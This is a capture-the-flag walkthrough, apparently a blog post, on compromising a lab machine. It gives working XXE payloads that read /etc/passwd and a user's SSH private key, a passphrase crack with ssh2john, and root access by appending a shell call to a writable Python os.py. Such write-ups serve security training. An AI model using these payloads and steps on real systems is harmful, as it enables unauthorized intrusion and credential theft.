Enumeration

Nmap

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Port 80

This page has a login page and we can access with default credentials, like: admin/admin

After pass the login, we can see the page has a comment option

Untitled

When we click “submit” the page create an alert saying that we need to insert XML code. We can see a random character and we receive empty fields

Untitled

Now we can create our xml payload

XXE

I use this payload to test XXE and the variable show on name field

<!DOCTYPE test [<!ENTITY xxe "Teste">]><root><name>&xxe;</name><author>aaa</author></root>

We can use XXE to read internal files

<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><name>&xxe;</name><author>aaa</author></root>

Note: Use burpsuite to make the request, it’s easier.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
------------------ SNIP ------------------
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
suporte:x:1001:1001:,,,:/home/suporte:/bin/bash

The machine has a user name Suporte. We can try to enumerate his home directory and try to grab the private key

<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///home/suporte/.ssh/id_rsa">]><root><name>&xxe;</name><author>aaa</author></root>

We need to bruteforce the private-key password

ssh2john id_rsa > id_rsa.hash # PASS:1qaz@WSX

ssh -i id_rsa suporte@$IP

Note: user.txt is in /opt directory

Root

sudo -l

User suporte may run the following commands on ip-10-9-2-12:
    (root) NOPASSWD: /usr/bin/python3.6 /opt/vert.py

import os

class Vector:
   def __init__(self, a, b):
      self.a = a
      self.b = b

   def __str__(self):
      return 'Vector (%d, %d)' % (self.a, self.b)

   def __add__(self,other):
      return Vector(self.a + other.a, self.b + other.b)

v1 = Vector(2,10)
v2 = Vector(5,-2)
print(v1 + v2)

This script import os, but never use. We can see if user suporte has access to lib os

find / -name os.py -type f 2>/dev/null

ls -la /usr/lib/python3.6/os.py
-rw-rw-rw- 1 root root 37546 Feb 22 20:48 /usr/lib/python3.6/os.py

Library hijacking

echo 'system("/bin/bash")' >> /usr/lib/python3.6/os.py

sudo /usr/bin/python3.6 /opt/vert.py

Hijacking

Enumeration

Nmap

Port 80

XXE

Root

Library hijacking

Trending Tags

Hijacking

Enumeration

Nmap

Port 80

XXE

Root

Library hijacking

Further Reading

Visions

Five

Bah

Trending Tags